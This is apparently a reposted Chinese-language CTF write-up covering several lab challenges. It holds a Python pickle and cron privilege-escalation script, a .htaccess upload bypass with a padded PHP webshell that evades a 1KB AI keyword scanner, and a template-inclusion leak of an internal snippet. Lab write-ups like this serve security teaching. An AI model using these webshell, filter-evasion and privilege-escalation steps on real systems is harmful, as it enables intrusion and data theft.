s2 = requests.Session(); s2.proxies = PROXIES; s2.cookies.set("session", ADMIN)
for i in range(3):
s2.post(f"{TARGET}/", files={"file": (f"d{i}.pkl", b"\x80\x02.", "app/octet-stream")})
s2.post(f"{TARGET}/", files={"file": ("c1.pkl", cp, "application/octet-stream")})
s2.post(f"{TARGET}/", files={"file": ("x.py", code.encode(), "application/octet-stream")})
s2.post(f"{TARGET}/", files={"file": ("c1.pkl", cp, "application/octet-stream")})
s2.get(f"{TARGET}/pic", params={"pic": "c1.pkl"})
s2.post(f"{TARGET}/", files={"file": ("t1.pkl", tp, "application/octet-stream")})
s2.get(f"{TARGET}/pic", params={"pic": "t1.pkl"})
# Step 2: Write evil script to /tmp/e
step("open('/tmp/e','w').write('#!'+'/bin/sh'+chr(10))", "p1")
step("open('/tmp/e','a').write('cp /fl* /tmp/f'+chr(10))", "p2")
# Step 3: sudo tee to overwrite cron script
step("open('/tmp/s','w').write('cat /tmp/e|sudo tee /opt/cl')", "p3")
step("open('/tmp/s','a').write('eanup.sh')", "p4")
step("__import__('o'+'s').__dict__['sy'+'stem']('sh /tmp/s')", "p5")
# Step 4: Wait for cron, read flag
time.sleep(65)
r = requests.Session()
r.proxies = PROXIES
uid = "reader"
r.post(f"{TARGET}/register", data={
"username": base64.b64encode(uid.encode()),
"password": base64.b64encode(uid.encode())
})
r.post(f"{TARGET}/login", data={
"username": base64.b64encode(uid.encode()),
"password": base64.b64encode(uid.encode())
})
resp = r.get(f"{TARGET}/pic", params={"pic": "../../../tmp/f"})
import re
m = re.search(r'base64,([^"]+)', resp.text)
print(f"FLAG: {base64.b64decode(m.group(1))}")
Flag:flag{1jslcbnma6k72v1udk4j7jq5eis5ihsn}
MalCraft
初始侦察
端点枚举
首页 JS 及目录枚举发现以下端点:
| 端点 | 方法 | 功能 |
| — | — | — |
| / | GET | 主页,文件上传 UI |
| /upload.php | POST | 文件上传处理 |
| /analyze.php | POST | AI 内容分析,返回分析报告 JSON |
| /list.php | GET | 返回已上传文件列表 JSON |
| /download.php?file= | GET | 文件下载,过滤路径穿越 |
| /config.php | GET | 空响应,PHP 代码无输出 |
| /submit.php | POST | 提交三项证据换取 flag |
/list.php 初始返回一条记录:
{"files":[{"name":"analysis_report.pdf","path":"analysis_report.pdf","size":465}]}
/analyze.php 返回固定分析模板,不依赖实际文件:
{"success":true,"result":"AI Deep Analysis Report\n...\nOverall Score: 9.2/10"}
上传防护测试
逐层测试结果:
扩展名校验。/upload.php 对非白名单扩展名返回:
{"success":false,"message":"Unsupported file type. Only PDF, Word, and text files are allowed"}
| 上传扩展名 | 结果 |
| — | — |
| .php | Unsupported file type |
| .pht | Unsupported file type |
| .phtml | Unsupported file type |
| .php5 | Unsupported file type |
| .php7 | Unsupported file type |
| .phar | Unsupported file type |
| .shtml | Unsupported file type |
| .inc | Unsupported file type |
| .pdf | 进入下一层检测 |
| .docx | 进入下一层检测 |
| .txt | 进入下一层检测 |
MIME 类型检测。 上传 .txt 文件但包含 <?php 代码时返回:
{"success":false,"message":"MIME type detection failed, file may have been tampered with"}
使用 file 命令或 PHP finfo 检测真实内容类型,PHP 代码使 MIME 偏离 text/plain。
AI 内容分析。 上传含 PHP 代码但未填充的文件时返回:
{"success":false,"message":"AI detected malicious content in the first 1KB of the file"}
通过此错误信息确认 AI 检测窗口为前 1024 字节。上传 1024+ 字节纯 ‘A’ 填充 + PHP 代码的文件通过三层防护。
download.php 路径穿越测试
测试过的绕过方式(全部返回 Invalid file path 或 File not found):
....//index.php → Invalid file path (非递归strip不适用)
..%2findex.php → Invalid file path (URL编码被检测)
..%252findex.php → Invalid file path (双编码被检测)
..\/index.php → Invalid file path (反斜杠被检测)
..%5c/index.php → Invalid file path (编码反斜杠被检测)
%c0%ae%c0%ae/index.php → File not found (UTF-8过过滤但路径无效)
/etc/passwd%00 → PHP Warning (null byte触发warning但未读文件)
php://filter/... → File not found (file_exists不支持wrapper)
../config.php → Invalid file path (strpos位置0严格比较)
源码审计
check_extension() — 扩展名校验
function check_extension($filename) {
if ($filename === '.htaccess') {
return true;
}
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return in_array($ext, ALLOWED_EXTENSIONS);
}
.htaccess 在扩展名检测函数中被显式返回 true,不经过 ALLOWED_EXTENSIONS 白名单检查。
ai_security_check() — AI 内容检测
function ai_security_check($filepath) {
$handle = fopen($filepath, 'r');
$header = fread($handle, 1024);
fclose($handle);
$dangerous_keywords = ['<?php', '<?=', 'eval', 'system', 'exec'];
foreach ($dangerous_keywords as $keyword) {
if (stripos($header, $keyword) !== false) {
returnfalse;
}
}
returntrue;
}
约束:
- 扫描窗口仅文件前 1024 字节
- 仅检查 5 个关键词(
<?php,<?=,eval,system,exec) - 大小写不敏感匹配(
stripos) - 不检查编码变形、字符串拼接、异或编码
download.php — 文件下载
$file = $_GET['file'];
$filepath = UPLOAD_DIR . $file;
if (strpos($file, '..') !== false) {
die('Invalid file path');
}
if (!file_exists($filepath)) {
die('File not found');
}
readfile($filepath);
strpos使用!== false严格比较file_exists()检查拼接UPLOAD_DIR前缀后的完整路径readfile()输出文件内容,不支持 PHP stream wrapper
Apache 配置
uploads 目录开启 AllowOverride All,允许 .htaccess 覆写配置。
上传绕过
.htaccess 上传
.htaccess 内容为 AddType application/x-httpd-php .txt,不含任何危险关键词,AI 检测直接通过:
echo "AddType application/x-httpd-php .txt" > .htaccess
curl -X POST -F "[email protected];filename=.htaccess" http://TARGET/upload.php
服务端返回:
{"success":true,"message":"AI analysis complete: document content is safe, uploaded successfully","filename":".htaccess"}
uploads 目录 AllowOverride All 使 .htaccess 中的 AddType 指令生效,该目录下所有 .txt 文件按 application/x-httpd-php MIME 处理。
webshell 上传
前 1025 字节用 # 填充,将 <?php system($_GET["cmd"]); ?> 置于 AI 扫描窗口之外:
printf '#%.0s' {1..1025} > s.php.txt
echo '<?php system($_GET["cmd"]); ?>' >> s.php.txt
curl -X POST -F "[email protected]" http://TARGET/upload.php
三层检测均通过:
- 扩展名
.txt在白名单 - 1025 字节 ASCII 字符
#使 MIME 识别为text/plain <?php和system关键词在 1024 字节之后,AI 未扫描到
RCE 验证
curl "http://TARGET/uploads/s.php.txt?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
后渗透枚举
curl "http://TARGET/uploads/s.php.txt?cmd=find%20/var/www/html%20-maxdepth%204%20-type%20f"
发现 /var/www/html/uploads/ 下存在隐藏目录 admin/:
/var/www/html/uploads/admin/analysis_report.pdf
/var/www/html/uploads/admin/db_backup.conf
/var/www/html/uploads/admin/upload_logs/.hash_record
/var/www/html/uploads/admin/upload_logs/access.log
/var/www/html/uploads/admin/upload_logs/access.log.backup
db_backup.conf
[integrity]
# Log integrity verification enabled
# Original hash: d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07
# Backup location: uploads/admin/upload_logs/access.log.backup
# Backup encryption: XOR with db_password
# Current hash verification: sha256sum uploads/admin/upload_logs/access.log
[database]
host = 172.16.0.50
port = 3306
database = ai_doc_system
username = doc_admin
password = AIDoc#2024Secure
关键信息:
access.log.backup使用数据库密码 XOR 加密- 原始 SHA256 hash 用于解密后完整性校验
- 数据库密码
AIDoc#2024Secure即为 XOR 密钥 - 内网数据库地址
172.16.0.50:3306
.hash_record
d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07
与 db_backup.conf 中记录的原始 hash 一致,用于交叉验证。
解密日志备份
from pathlib import Path
import hashlib
cipher = Path("access.log.backup").read_bytes()
key = b"AIDoc#2024Secure"
plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(cipher))
# 完整性校验
assert hashlib.sha256(plain).hexdigest() == \
"d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07"
print(plain.decode())
Hash 校验通过后输出解密日志(JSONL 格式):
{"time":"2024-10-10 15:14:51","ip":"203.0.113.88","action":"shell_exec","command":"cat /opt/secrets/operation_darknet.txt","log_id":"LOG-20241010-88239","severity":"critical"}
{"time":"2024-10-10 15:15:22","ip":"203.0.113.88","action":"file_steal","file":"operation_darknet.txt","size":4521,"log_id":"LOG-20241010-88240","severity":"critical"}
日志记录攻击者两次操作:
LOG-20241010-88239— 执行cat /opt/secrets/operation_darknet.txt读取机密文件(shell_exec)LOG-20241010-88240— 将文件外传(file_steal),大小 4521 字节
证据提取
| 字段 | 值 | 提取来源 |
| — | — | — |
| Attacker IP | 203.0.113.88 | 日志 ip 字段 |
| Key Log ID | LOG-20241010-88239 | shell_exec 执行窃取命令的日志 ID |
| Confidential File | operation_darknet.txt | 日志 file 字段 + command 路径 |
submit.php 仅验证一个 Key Log ID。两条日志中
LOG-20241010-88239(实际执行 shell 命令窃取文件的记录)通过验证。
flag{1jsm8ue6sfmin21udk4j7jq5tgs5iibl}
攻击链
端点枚举(7个) → 上传测试确认3层防护 → 源码审计发现 .htaccess 白名单 + AI 1KB限制
→ upload .htaccess (AddType .txt→PHP)
→ upload padded shell (1025B '#' bypass AI) → RCE (www-data)
→ find 枚举 /uploads/admin/ 隐藏目录
→ db_backup.conf 泄露 XOR 密钥 AIDoc#2024Secure + SHA256 预期值
→ XOR 解密 access.log.backup + hash 完整性校验
→ 提取 203.0.113.88 / LOG-20241010-88239 / operation_darknet.txt
→ submit.php → flag
Prompt Vault
題目描述
Preview customer reply templates and find the dynamic flag hidden in an internal snippet.
預覽客服回覆模板,找出隱藏於內部片段中的動態 flag。
预览客服回复模板,找出隐藏在内部片段中的动态 flag。
题目信息
服务地址:
http://36.213.142.162:27379
题目提示:
预览客服回复模板,找出隐藏在内部片段中的动态 flag。
从描述可以判断,目标是一个客服回复模板预览系统,flag 不在普通页面源码中,而是藏在某个内部模板片段里。核心思路是先找到内部片段名称,再通过预览功能渲染它。
页面分析
访问首页:
curl -s http://36.213.142.162:27379/
页面标题为 ReplyKit,是一个回复草稿预览工具。前端 JavaScript 中可以看到两个接口:
GET /api/promptlets
POST /api/preview
其中 /api/promptlets 用来获取可选的模板片段,/api/preview 用来渲染用户提交的草稿。
前端插入模板片段时使用的语法如下:
{{ include_prompt("name") }}
这说明只要知道片段名,就可以手动构造模板语法并提交给预览接口。
枚举公开片段
请求公开片段列表:
curl -s http://36.213.142.162:27379/api/promptlets
返回:
{
"promptlets": [
"greeting",
"help",
"terms",
"contact"
],
"success": true
}
公开片段只有四个:
greeting
help
terms
contact
尝试渲染公开片段:
curl -s -X POST http://36.213.142.162:27379/api/preview \
-H 'Content-Type: application/json' \
-d '{"user_input":"{{ include_prompt(\"greeting\") }}"}'
返回的是普通客服文案,没有 flag。因此题目中提到的内部片段没有出现在公开列表中。
发现隐藏接口
继续尝试常见 API 路径,发现 /api/help:
curl -s http://36.213.142.162:27379/api/help
返回:
{
"about": "ReplyKit previews CX reply drafts. Public snippets in /api/promptlets. Refund/SLA/compliance drafts use the internal review_gate snippet.",
"ok": true,
"syntax": "{{ include_prompt(\"name\") }}"
}
这里泄露了内部片段名:
review_gate
虽然该片段没有出现在 /api/promptlets 中,但接口说明里直接提到了它。
渲染内部片段
既然已经知道内部片段名,就可以直接构造模板语法:
{{ include_prompt("review_gate") }}
提交给预览接口:
curl -s -X POST http://36.213.142.162:27379/api/preview \
-H 'Content-Type: application/json' \
-d '{"user_input":"{{ include_prompt(\"review_gate\") }}"}'
返回:
{
"final_preview": "[Preview]\n[INTERNAL USE ONLY]\nCompliance checkpoint\nAuth code: flag{1jsm9bdc49nc031udk4j7jq5tis5iibn}\nRequires supervisor approval.\n---\n[/Preview]",
"success": true
}
内部片段被成功渲染,flag 出现在 final_preview 中。
一行命令提取 Flag
curl -s -X POST http://36.213.142.162:27379/api/preview \
-H 'Content-Type: application/json' \
-d '{"user_input":"{{ include_prompt(\"review_gate\") }}"}' \
| grep -o 'flag{[^}]*}'
Flag
flag{1jsm9bdc49nc031udk4j7jq5tis5iibn}
Chamber
PoiChain
本次 AI 网络安全挑战赛由 AI CLI(https://aicli.qzz.io/)提供模型 API 支持。作为我们团队参赛的核心基础设施,该平台的稳定服务与模型能力提供了坚实保障,特此鸣谢。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《AI x Cybersecurity Challenge 2026 初赛 Writeup》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论